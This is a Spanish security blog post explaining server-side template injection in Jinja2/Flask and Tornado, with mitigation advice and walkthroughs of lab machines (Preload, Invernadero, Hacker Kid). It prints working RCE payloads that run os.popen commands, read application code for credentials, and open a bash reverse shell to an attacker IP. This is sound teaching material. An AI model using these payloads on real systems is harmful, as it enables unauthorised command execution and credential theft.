cd ~/blog

~/vulns/ssti-server-side-template-injection.md

SSTI (Server-Side Template Injection)

webautor: Jordy Pérez Osorio aviso legal
webpythonpreloadSSTIJinja2FlaskRCEinvernaderoTornadohacker-kid

~8 min de lectura


1. Descripción técnica

La vulnerabilidad Server-Side Template Injection (SSTI) ocurre cuando una aplicación web incrusta entradas controladas por el usuario dentro de un motor de plantillas del lado del servidor y las evalúa como parte de la plantilla, en lugar de tratarlas como datos. Cuando esto sucede, un atacante puede inyectar expresiones que el servidor interpretará, con un impacto que va desde la exposición de información sensible hasta la ejecución remota de comandos (RCE).

Motores de plantillas como Jinja2 (Python), Twig (PHP), Velocity (Java) o Smarty (PHP) son habituales en entornos web modernos. Todos son seguros cuando se usan correctamente; el problema no está en el motor, sino en construir la plantilla a partir de texto que proviene del usuario.

2. Condiciones necesarias y mecanismo

La condición decisiva es que una entrada controlada por el usuario se convierta en código de plantilla, en vez de pasar a la plantilla como un dato. El siguiente código ilustra el patrón; no es una transcripción de routes.py de Invernadero:

# Vulnerable si mensaje_custom procede del usuario:
render_template_string(mensaje_custom, sensor=sensor)

# Una plantilla fija alerta.html muestra {{ mensaje }} como dato:
render_template("alerta.html", mensaje=mensaje_custom, sensor=sensor)

El escape de HTML protege el resultado mostrado, pero no impide que render_template_string evalúe una expresión Jinja enviada como texto. Por eso la corrección principal consiste en separar la plantilla de los datos. PortSwigger y Flask documentan esta diferencia.

3. Impacto

El impacto depende de las capacidades que el motor exponga a la plantilla. Una prueba aritmética solo confirma evaluación; el acceso a objetos internos puede revelar configuración o secretos, y una ruta hacia funciones del sistema puede culminar en RCE con los permisos del proceso de la aplicación. La SSTI no concede privilegios de root por sí misma.

4. Contexto

  • Orígenes (2000–2010)

    • Inicialmente las aplicaciones web utilizaban motores de plantillas de forma sencilla para separar lógica y presentación.

    • Los ataques SSTI surgieron de manera limitada, cuando los desarrolladores pasaban entradas de usuario sin escape a plantillas dinámicas.

  • Primeros reportes públicos (2011–2014)

    • Comenzaron a documentarse ataques en motores como Jinja2 y Smarty, donde la evaluación de expresiones podía exponer datos internos.

    • Las herramientas de pentesting empezaron a incluir pruebas automáticas de SSTI (payloads simples como {{7*7}}).

  • Evolución y consolidación (2015–2019)

    • Se descubrieron vectores de RCE completas, explotando la introspección de Python (__class__, __subclasses__) y otros motores similares.

    • Se publicaron guías de mitigación: autoescape, sandboxing y validación estricta de entradas.

  • SSTI hoy (2020–presente)

    • Es considerada una vulnerabilidad crítica en aplicaciones modernas, especialmente en microservicios y APIs que procesan plantillas dinámicas.

    • Herramientas automatizadas (Burp Suite, OWASP ZAP, etc.) incluyen detección de SSTI como estándar.

    • Su mitigación combina control de entradas, sandboxing, políticas de permisos mínimos y monitoreo, siendo una práctica clave en seguridad web.

5. Validación y detección

A continuación se detalla la verificación, enumeración y explotación en la máquina HMV Preload (192.168.1.151:50000).

❯ curl "http://192.168.1.151:50000?cmd={{7*7}}"
49

La respuesta 49 demuestra que el servidor evaluó la multiplicación en lugar de devolver el texto literal {{7*7}}. Con esto confirmamos que la entrada se procesa como plantilla y, por tanto, la existencia de la SSTI.

Enumeración de configuración con Jinja2

❯ curl "http://192.168.1.151:50000?cmd={{config}}"
<Config {...}>

En esta etapa el atacante accede al objeto de configuración de Flask, que puede exponer información interna del servidor: rutas, claves secretas (SECRET_KEY) o parámetros sensibles. Aunque leer config no es todavía ejecución de código, suele ser un punto de partida útil hacia la escalada.

Ejecución remota de comandos

A continuación se empleó un payload que recorre las clases internas del intérprete de Python para alcanzar __import__('os') y ejecutar comandos arbitrarios mediante popen:

{%
    for x in ().__class__.__base__.__subclasses__()
%}
    {%
        if "warning" in x.__name__
    %}
        {{
            x()._module.__builtins__['__import__']('os').popen(request.args.input).read()
        }}
    {% endif %}
{% endfor %}

Se accede vía navegador:

http://192.168.1.151:50000/?cmd={% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoami

Resultado:

paul

El comando fue ejecutado exitosamente en el servidor, confirmando una ejecución remota de comandos (RCE) a través de la inyección de plantillas.

6. Variantes y límites en Jinja2

Los siguientes payloads ilustran rutas distintas dentro del motor. Su funcionamiento depende de los objetos disponibles y de las restricciones de cada aplicación.

ObjetivoPayloadInterpretación
Verificar evaluación{{ 7*7 }}El resultado 49 confirma evaluación de la expresión; por sí solo no confirma RCE.
Consultar Flask{{ config }}Si config está expuesto, puede mostrar rutas o secretos; el contenido depende de la aplicación.
Conocer el usuario del proceso{{ cycler.__init__.__globals__.os.popen('id').read() }}Ejecuta id y muestra sus privilegios efectivos cuando esta ruta de introspección está disponible.
Ruta alternativa hacia os{{ lipsum.__globals__['os'].popen('whoami').read() }}Usa otro global de Jinja para ejecutar whoami; no es universal.
Leer un archivo accesible{{ cycler.__init__.__globals__.os.popen('cat app.py').read() }}La lectura ocurre mediante ejecución de comandos; no implica una vulnerabilidad LFI independiente.

Para probar un parámetro de consulta sin problemas de codificación de URL, puede utilizarse curl -G --data-urlencode 'cmd={{7*7}}' 'http://192.168.1.151:50000/'. El resultado se interpreta en el contexto de Preload. El payload original que recorre __subclasses__() sigue siendo otra forma de alcanzar el intérprete; sus índices, nombres de clase y objetos disponibles pueden variar según la versión y el contexto.

7. Clasificación

- Tipo: Inyección / Ejecución remota de código (RCE)

- OWASP Top 10: A03 - Injection (edición 2021).

- OWASP Top 10: A05:2025 - Injection (edición 2025).

- CWE: CWE-1336, inyección en motor de plantillas.

- Impacto: Crítico, ya que permite ejecución de código arbitrario en el servidor, acceso a información sensible y escalamiento de privilegios.

El impacto concreto depende del contexto y de los permisos del proceso. La SSTI no concede root automáticamente: en Invernadero la escalada dependió además de un script ejecutado por cron con permisos de escritura indebidos.

- Motores afectados: Jinja2 (Python), Twig/Smarty (PHP), Velocity (Java), Handlebars (JS/Node), entre otros.

8. Mitigación

  • Evitar la renderización directa de datos proporcionados por el usuario.

  • Utilizar funciones seguras o filtros de escape en los motores de plantillas.

  • Implementar validaciones de entrada y mecanismos de control de acceso adecuados.

  • Mantener una plantilla fija y pasar la entrada editable como dato; si se necesitan marcadores como {{ sensor }}, admitir solo una lista explícita de marcadores y valores.

  • El autoescape y los filtros de salida ayudan a prevenir XSS, pero no corrigen una cadena de plantilla controlada por el usuario. Documentación de Flask.

  • Si aceptar plantillas completas es un requisito, revisar SandboxedEnvironment, el contexto expuesto y los límites de permisos y recursos. El sandbox requiere configuración cuidadosa y no es infalible por sí solo. Documentación de Jinja.

9. Explotación documentada en Invernadero

La aplicación Flask del puerto 8080 ofrecía una pantalla de alertas después de iniciar sesión como admin:admin123. El formulario permitía personalizar el mensaje con {{ sensor }}, y el valor editable viajaba en mensaje_custom hacia /guardar_alerta. La pista del formulario no bastaba para afirmar SSTI: la confirmación llegó cuando la vista previa mostró la salida de un comando enviado en ese campo.

Ejemplo 1: listar archivos del servidor

Este payload sí aparece en la evidencia de la máquina:

{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}

La vista previa devolvió nombres como Dockerfile, app.py, routes.py y user.txt. Una petición equivalente, usando una sesión web ya autenticada, envía el mismo contenido con los demás campos del formulario:

curl -sS -L \
  --cookie 'session=<sesión_autenticada>' \
  'http://10.0.192.11:8080/guardar_alerta' \
  --data-urlencode "mensaje_custom={{ cycler.__init__.__globals__.os.popen('ls -la').read() }}" \
  --data-urlencode 'sensor=luz' \
  --data-urlencode 'condicion=>' \
  --data-urlencode 'val=4' \
  --data-urlencode 'envio_de_datos=asdf'

cycler es un global de Jinja. __init__.__globals__ alcanza los globales de su función de inicialización; en este entorno allí estaba os. popen() lanzó el comando y read() colocó su salida en la vista previa. Esta ruta concreta depende del entorno y no debe suponerse disponible en cualquier instalación de Jinja. Documentación de los globales de Jinja.

Ejemplo 2: leer código y encontrar credenciales

En la misma máquina se sustituyó ls -la por cat app.py:

{{ cycler.__init__.__globals__.os.popen('cat app.py').read() }}

El código recuperado incluía valores de reserva para MQTT_USER (admin_invernadero) y MQTT_PASSWORD (admin_invernadero123). Esos valores en el código no prueban la configuración efectiva del broker, pero su reutilización como credenciales SSH quedó comprobada al iniciar sesión. La lectura de app.py aquí es una consecuencia de la ejecución de comandos mediante SSTI; no se observó una LFI independiente.

Alcance de la cadena

El login web permitió llegar al campo vulnerable; la SSTI permitió leer el código; la reutilización de credenciales permitió entrar por SSH. Finalmente, un script modificable ejecutado por cron como root permitió la escalada. Son condiciones distintas que se encadenaron. El writeup de Invernadero conserva las capturas y los resultados observados.

10. Explotación documentada en Hacker Kid

En esta máquina el parámetro name del servicio web del puerto 9999 se procesó con Tornado. El writeup registra dos pruebas distintas:

http://192.168.1.33:9999/?name={{7*7}}
# Respuesta: Hello 49

http://192.168.1.33:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"')}}

La primera expresión confirma evaluación de plantillas. La segunda importa os y ejecuta una reverse shell; el writeup registra la shell obtenida después. Su sintaxis y su contexto son los de Tornado, por lo que este payload no se debe trasladar sin cambios a Jinja. La escalada posterior de esta máquina usó capabilities y constituye otro paso de la cadena.

11. Payloads de referencia

Las expresiones se muestran sin codificación de URL. En peticiones HTTP conviene enviarlas con --data-urlencode. La columna «Evidencia» distingue los payloads observados en un writeup de las variantes ilustrativas.

Jinja2 / Flask

ObjetivoPayload
Confirmar evaluación{{7*7}} → 49
Leer configuración expuesta{{config}}
Listar archivos{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}
Leer código de la aplicación{{ cycler.__init__.__globals__.os.popen('cat app.py').read() }}
Comprobar el usuario efectivo{{ cycler.__init__.__globals__.os.popen('id').read() }}
Usar otro global de Jinja{{ lipsum.__globals__['os'].popen('whoami').read() }}

La máquina HMV Preload también documenta esta variante que recorre clases de Python. El parámetro input aporta el comando; en el writeup se usó whoami y la respuesta fue paul:

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}
  {% endif %}
{% endfor %}

Ejemplo en Hacker Kid (VulnHub)

La aplicación utiliza el sistema de plantillas de Tornado, incluido en el framework web de Python. En el parámetro name se observó:

  • Detectar la SSTI: {{7*7}} produjo Hello 49.
  • Ejecutar comandos: se importó os desde la plantilla para abrir una reverse shell:
{% import os %}
{{ os.system('bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"') }}

12. Referencias

// relacionados